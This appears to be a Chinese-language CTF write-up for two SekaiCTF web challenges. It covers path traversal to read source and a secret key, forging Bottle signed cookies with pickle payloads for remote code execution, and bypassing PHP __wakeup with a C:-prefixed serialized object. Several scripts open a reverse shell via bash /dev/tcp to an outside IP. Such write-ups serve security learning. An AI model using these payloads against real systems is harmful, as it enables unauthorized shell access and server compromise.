sekaiCTF-wp

bottlepoem

image-20221003171919083

拿到手就可以合理猜测有目录穿越

尝试../../../etc/passwd成功读取

使用../../../proc/self/cmdline查看执行命令,发现python3-u/app/app.py

得知运行目录,直接读取源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
return template("index")


@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile


@error(404)
def error404(error):
return template("error")


@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)

这里有个小trick,这里其实目录穿越也能直接使用/app/app.py这是os.path.join()的特性。原理如下image-20221003172747180

代码里import了secret,直接读一下/app/config/secret.py就好了,secret是Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu

这里一开始是想着通过cookie来进行模版注入,但是未果啊,其实是方向错了。

这里主要是有个trick,bottle的cookie_decode()会进行反序列化,也就是这里的get_cookie,也就是说这里可以通过这个函数来进行反序列化getshell,但是这里从代码上可以看出来是不会有回显的,所以需要进行反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
import bottle
secret = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
class Exploit:
def __reduce__(self):
return (eval, ('__import__("os").popen("bash -c \'bash -i >& /dev/tcp/124.220.11.247/10800 0>&1\'")',))

expl=Exploit()
exp = bottle.cookie_encode(
('session', {"name": expl}),
secret
)
bottle.cookie_decode(exp,secret)
print(exp)

只用这样简单的构造就可以了。

image-20221005172306628

opcode:

1
2
3
4
5
'''cos
system
(S'bash -c "bash -i >& /dev/tcp/124.220.11.247/10800 0>&1"'
tR.
'''

这里用opcode似乎没有那么简单,他的cookie_decode似乎流程和我想的不太一样,没法直接传入opcode,可以自己写一个函数来生成cookie来进行opcode的利用,当然这题就有点脱裤子放屁了,遇上复杂过滤的题可能会有些用处,这里贴上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import bottle
import pickle
import base64,hashlib,pickle,hmac

def tob(s, enc='utf8'):
if isinstance(s, str):
return s.encode(enc)
return b'' if s is None else bytes(s)


def cookie_encode(payload, key):
msg = base64.b64encode(payload)
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

secret = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
payload=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/124.220.11.247/10800 0>&1"'
tR.
'''
a=cookie_encode(payload,secret)
print(a)
bottle.cookie_decode(a,secret) #用于测试

这题的研究到此结束了,该学习的点都学习了

这题没做出来的主要原因还是不知道bottle的这个trick,下次一定注意

sekai-game start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include('./flag.php');
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;
}
}
if(isset($_GET['sekai_game.run'])){
unserialize($_GET['sekai_game.run']);
}else{
highlight_file(__FILE__);
}

?>

代码如下,反序列化,但是为什么传上去没反应呢,本地搭建环境测试发现是变量名问题,PHP会把.认成_ ,因为不允许参数出现点,在php8之后[.会变成_但在PHP8之后[.同时出现则不会改变。所以参数可以上传为sekai[game.run

接下来就是wakeup绕过,这里常规的改对象个数方法并不奏效,因为这个方法只限于

php5.0.0 ~ php5.6.25

php7.0.0 ~ php7.0.10

image-20221007175126680

但是这题的php版本有点高。这里就卡住了,但是phpbugs有一个trickhttps://bugs.php.net/bug.php?id=81151

可以使用C:来绕过wakeup

大概理解就是把O:换成C:,然后类里面要空就可以绕过wakeup,具体原因不明,原文是这么说的

In my understand, “C:” means a class implements Serializable, and it don’t suport wakeup. At here, class E doesn’t implements Serializable, and wakeup ineffective, destruct works. Should it be? i don’t know.

最后的payload?sekai[game.run=C:10:"Sekai_Game":0:{}

这里对上面做一个补充,看到知识星球有小伙伴在讨论这个问题,大概明白了 ,上面那个trick的大括号里必须是空的,因为这点,这个漏洞比较鸡肋。

具体的原理大概是,C:代表了一个类实现了seralizeable接口,但是seralizeable不支持wakeup,就能实现绕过。

对于我们之前常见的那种方法呢大概就是利用反序列化时的报错去绕过wakeup。